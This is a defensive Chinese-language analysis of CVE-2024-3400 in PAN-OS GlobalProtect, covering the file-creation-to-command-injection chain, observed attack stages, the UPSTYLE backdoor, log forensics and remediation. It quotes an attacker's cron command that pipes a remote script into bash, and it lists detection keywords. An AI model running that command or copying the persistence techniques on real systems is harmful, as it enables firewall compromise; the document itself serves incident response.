CVE-2024-3400: PAN-OS GlobalProtect 未授权 RCE 漏洞分析
CVE-2024-3400: PAN-OS GlobalProtect 未授权 RCE 漏洞分析
CVE-2024-3400 是 2024 年最受关注的边界设备高危漏洞之一。它影响 Palo Alto Networks PAN-OS 的 GlobalProtect 组件,可让未授权攻击者在防火墙上以 root 权限执行命令。
这类漏洞的危险不只在于“单点 RCE”,而在于目标本身就是企业边界与远程接入控制点。一旦设备失陷,攻击者往往能进一步:
- 导出防火墙配置
- 获取 VPN、证书、账号与内网地址信息
- 借助防火墙位置优势横向进入内网
- 建立二次持久化与出网通道
文章以公开资料为基础,偏重研究与防守视角,不提供一键化批量利用代码。
0x01 漏洞背景与影响范围
Palo Alto 官方将该问题描述为:GlobalProtect 中“任意文件创建导致操作系统命令注入”。官方公告显示其 CVSS 为 10.0,且已被列入 CISA KEV,说明该漏洞存在明确的在野利用事实。
受影响条件
官方最终结论是:
- 受影响版本主要为
PAN-OS 10.2、11.0、11.1 - 设备需配置
GlobalProtect gateway或GlobalProtect portal Cloud NGFW、Panorama appliances、Prisma Access不受影响
已修复版本
至少应升级到以下修复版本或更高版本:
PAN-OS 10.2.9-h1PAN-OS 11.0.4-h1PAN-OS 11.1.2-h3
一个容易写错的点
该漏洞披露早期,官方与多家安全厂商都曾提到 device telemetry 是利用前提。但 Palo Alto 后续已明确更正:
device telemetry不需要启用,设备同样可能暴露- 关闭 telemetry 已不再是有效缓解措施
因此,写知识库时不要再沿用“必须同时开启 telemetry 才受影响”的旧说法。
0x02 漏洞原理
1. 根因不是单一的“裸命令拼接”
CVE-2024-3400 更准确地说是一条两阶段链路:
- 攻击者先借由
GlobalProtect请求处理逻辑,实现任意路径上的零字节文件创建 - 再让后续组件把这个“文件名”当作 shell 命令的一部分拼接执行
- 最终从“文件创建”走到“命令注入”
这也是为什么 Palo Alto 官方把它定性为:
Arbitrary File Creation Leads to OS Command Injection
2. 第一阶段:SESSID 参与磁盘会话文件路径拼接
公开逆向显示,GlobalProtect 的 gpsvc 进程会处理未授权访问的部分接口,例如 POST /ssl-vpn/hipreport.esp。其中,客户端提交的 SESSID 会参与磁盘会话文件路径的构造。
问题在于:
- 会话 ID 未被充分规范化
- 文件路径拼接时可被目录穿越片段影响
- 代码在访问目标会话文件前,还会尝试创建缺失目录
于是攻击者可以把 SESSID 伪造成类似“跨目录路径”,使设备以高权限在任意位置落一个零字节文件。
3. 第二阶段:被创建的文件名进入 telemetry 处理链
公开分析进一步指出,攻击者可将零字节文件落到:
/opt/panlogs/tmp/device_telemetry/minute/
等临时目录下。后续 telemetry 逻辑会遍历这些文件,并构造类似:
的问题在于:
<fname>最终进入 shell 命令字符串- 底层通过
subprocess.Popen(..., shell=True)执行 - 文件名中的特殊字符会被 shell 解释
因此,只要攻击者能控制文件名,就能把“文件名”升级成“命令载体”。
4. 本质总结
这条链的本质可以概括为:
未授权请求 -> SESSID 路径穿越 -> 高权限零字节文件创建 -> 后续组件消费恶意文件名 -> shell=True 命令执行
这也是该漏洞极具代表性的地方:真正危险的往往不是第一个 bug,而是多个看似“只够造成异常”的薄弱点在同一设备上被串成一条完整利用链。
0x03 利用路径与攻击链
1. 早期探测:先验证“能不能写文件”
公开案例显示,攻击者在 2024 年 3 月下旬就开始进行利用测试。最轻量的探测方式通常不是直接反弹 shell,而是:
- 通过
SESSID构造路径 - 在 Web 可访问目录创建一个零字节文件
- 再尝试通过 HTTP 请求访问这个文件
如果访问返回 403 而不是 404,往往意味着文件已经被创建,只是因 root 权限和访问控制不可直接读取。
这一步常对应 Palo Alto / Unit 42 所说的:
Level 0: ProbeLevel 1: Test
2. 配置文件外传:先拿情报再决定是否深打
野外攻击里,后续最常见的动作不是立刻植入复杂后门,而是先把设备上的关键配置文件复制到 Web 可访问路径,再由外部 HTTP 请求取走。
这种路径非常符合边界设备攻击逻辑:
- 配置文件里往往包含 VPN、接口、路由、对象策略等高价值信息
- 有时还能拿到证书、预共享信息、内部地址布局或认证相关配置
- 攻击者据此判断该目标值不值得继续投入
这一步对应 Unit 42 的:
Level 2: Potential Exfiltration
3. 进入交互式命令执行
当攻击者确认目标值得继续利用后,会进一步:
- 下载额外工具
- 执行远程脚本
- 建立反连
- 部署第二控制通道
Volexity 与 Unit 42 观察到的更深入利用包括:
- 通过
wget -qO- ... | bash拉取远程脚本 - 建立基于
cron的每分钟轮询后门 - 尝试部署 Python 后门
UPSTYLE
这一步对应:
Level 3: Interactive Access
0x04 高级利用姿势
这里的“高级利用”不再是“如何证明漏洞存在”,而是攻击者在真实入侵里如何把这条链 weaponize。
1. 先探测、再外传、后交互
真实攻击中很少一上来就重载荷。更常见的节奏是:
- 写零字节文件验证设备可利用
- 复制
running_config.xml等文件到 Web 可访问位置 - 下载脚本或建立交互式命令执行
- 再部署持久化组件
这种打法的优点是:
- 风险低
- 易并行化
- 便于大规模筛选高价值目标
2. 利用 Web 可访问路径做“文件外带落点”
配置文件被复制到 Web 目录后,攻击者不一定需要额外出网协议,直接通过设备自身 HTTP 路径取走即可。这说明边界设备攻击里,“把敏感文件搬到可访问位置” 本身就是一种非常高效的轻量级外传手法。
3. UPSTYLE:专为防火墙环境设计的隐蔽后门
Volexity 首次披露、Unit 42 与 Zscaler 进一步分析的 UPSTYLE 很值得知识库重点记录,因为它体现了攻击者对 PAN-OS 运行环境的适配思路。
其核心设计包括:
- 使用
site-packages/system.pth作为自执行载体 - 借 Python
.pth机制在解释器启动时自动执行恶意代码 - 从
sslvpn_ngx_error.log中读取命令 - 将命令输出写入合法 CSS 文件
bootstrap.min.css - 15 秒后恢复原内容和时间戳,尽量缩短痕迹暴露窗口
这类设计说明攻击者关注的不是“能执行一下命令”,而是:
- 如何减少显眼的新文件
- 如何复用正常日志和静态资源文件
- 如何把控制通道藏进设备自身的运行语义里
4. 失败后切换到 cron 后门
Unit 42 观察到,攻击者在多次安装 UPSTYLE 失败后,转而采用更粗暴但稳定的方式:
- 写入
cron持久化 - 每分钟执行
wget -qO- hxxp://172.233.228[.]93/policy | bash
这很典型,说明高水平攻击者并不执着于“最优雅的植入”,而是会根据现场反馈快速切换到可用方案。
5. 持久化风险不只停留在 cron
Palo Alto 官方后续明确表示,他们知悉第三方公开了可跨 reset 与 upgrade 的 post-exploit 持久化 PoC。虽然官方当时未确认这些技术已在野滥用,但这意味着:
- 单纯“打补丁”并不等于“清除已存在后门”
- 只要攻击者已经拿到交互式 root 级访问,理论上可继续向更深层次持久化推进
因此,对于曾经暴露且疑似已失陷的设备,处置思路必须按照“已落地后门”而不是“仅曾经存在漏洞”来处理。
0x05 日志痕迹与排查重点
1. 优先保留 TSF,不要先重启再说
官方与第三方都反复强调:先导出 TSF(Tech Support File)再进入修复或重启流程。因为升级到修复版本后,部分旧系统安装下的日志可能不再容易在设备本地访问。
优先关注的文件包括:
/var/log/pan/gpsvc.log/var/log/pan/md_out.log/var/log/pan/device_telemetry_send.log/var/log/syslog-system.log/var/log/pan/mp-monitor.log
2. gpsvc.log / md_out.log
高价值关键词是:
unmarshal session- 非 GUID 形式的 session 值
- 明显的路径穿越片段,如
../ - 命令注入常见词,如
base64、bash、echo、openssl
恶意样例常表现为:
正常场景下,session(...) 一般应更像一个正常 GUID,而不是复杂路径或 shell 片段。
3. device_telemetry_send.log
如果该文件中出现以下关键词,应高度怀疑已进入命令执行阶段:
echobashbase64- 异常文件名嵌在
/opt/panlogs/tmp/device_telemetry/<interval>/路径后部
正常日志通常只会出现形如:
而不是带编码串或 shell 特殊字符的文件名。
4. syslog-system.log
重点看:
crondwgetbash- 异常远程 URL
例如:
如果防火墙开始周期性对陌生外部地址发起 wget,通常已经不是单纯漏洞探测,而是后门维持阶段。
5. mp-monitor.log
这里适合结合已知 IOC 快速筛查:
- 异常外联 IP
wget- 可疑进程名如
/tmp下运行的二进制 - 非预期监听端口
Volexity 在案例中曾看到:
wgetvpn_protlowdp- 指向外部地址的
SYN_SENT
6. 内存与网络侧证据
如果日志被清理,内存取证仍可能找回:
- 原始命令行
base64.*bash片段- bash 历史
- 临时目录执行痕迹
同时应回看网络层:
- 防火墙自身是否主动对外联接陌生 IP
- 是否从防火墙管理地址发起内网
RDP/SSH/SMB - 是否出现异常配置文件下载或 Web 路径访问
0x06 修复与缓解建议
1. 立即升级到官方修复版本
最核心的建议始终是:
- 升级到修复版本
- 不要仅依赖临时缓解
- 不要把“已开启 Threat Prevention”当成完整收敛
2. 启用并正确应用 Threat Prevention
官方给出的威胁防护 ID 包括:
951879518995191
但要注意,Threat ID 必须真正应用到 GlobalProtect 接口的漏洞防护策略上,否则并不能形成有效阻断。
3. 不要再把“关闭 telemetry”当作最终方案
这是该漏洞处置里最常见的误区之一。官方已明确:
- 关闭 telemetry 不再被视为有效缓解
- 是否暴露的判断核心仍是版本与
GlobalProtect portal/gateway配置
4. 对疑似失陷设备按“入侵处置”而不是“补丁处置”办理
如果满足以下任一条件,应按已失陷视角处理:
- 曾长时间公网暴露且未及时修复
- 日志中出现
unmarshal session异常模式 - 出现配置文件外传迹象
- 存在
cron、wget|bash、异常外联或临时目录进程
此时建议:
- 先保留 TSF 与相关证据
- 核查 Web 可访问目录是否被放置配置文件或其他异常文件
- 检查计划任务、临时目录、异常 Python 持久化点
- 审查证书、账户、VPN 凭据与管理口令
- 轮换相关认证材料
5. 对持久化风险保持更高处置级别
若担心设备已遭深度持久化,不应只满足于“升级成功”。结合官方后续说明,可考虑:
- 通过
TAC走官方补救流程 - 在需要时执行更严格的恢复/重建流程
- 对存在持续风险顾虑的设备采用更高等级替换或离线验证方案
0x07 写入知识库时可直接复用的结论
如果你要在知识库首页放一个简短摘要,可以直接写成:
CVE-2024-3400是 PAN-OSGlobalProtect组件中的未授权高危漏洞,其本质是一条“任意文件创建 -> 命令注入”的利用链。攻击者可借由SESSID路径穿越创建恶意文件,再让后续处理逻辑把恶意文件名带入shell=True命令执行,最终以root权限控制防火墙。野外攻击已出现从探测、配置外传到cron/UPSTYLE后门部署的完整链路。排查重点应聚焦gpsvc.log、device_telemetry_send.log、syslog-system.log与异常外联行为,补丁只能阻断后续利用,不能自动清除已存在后门。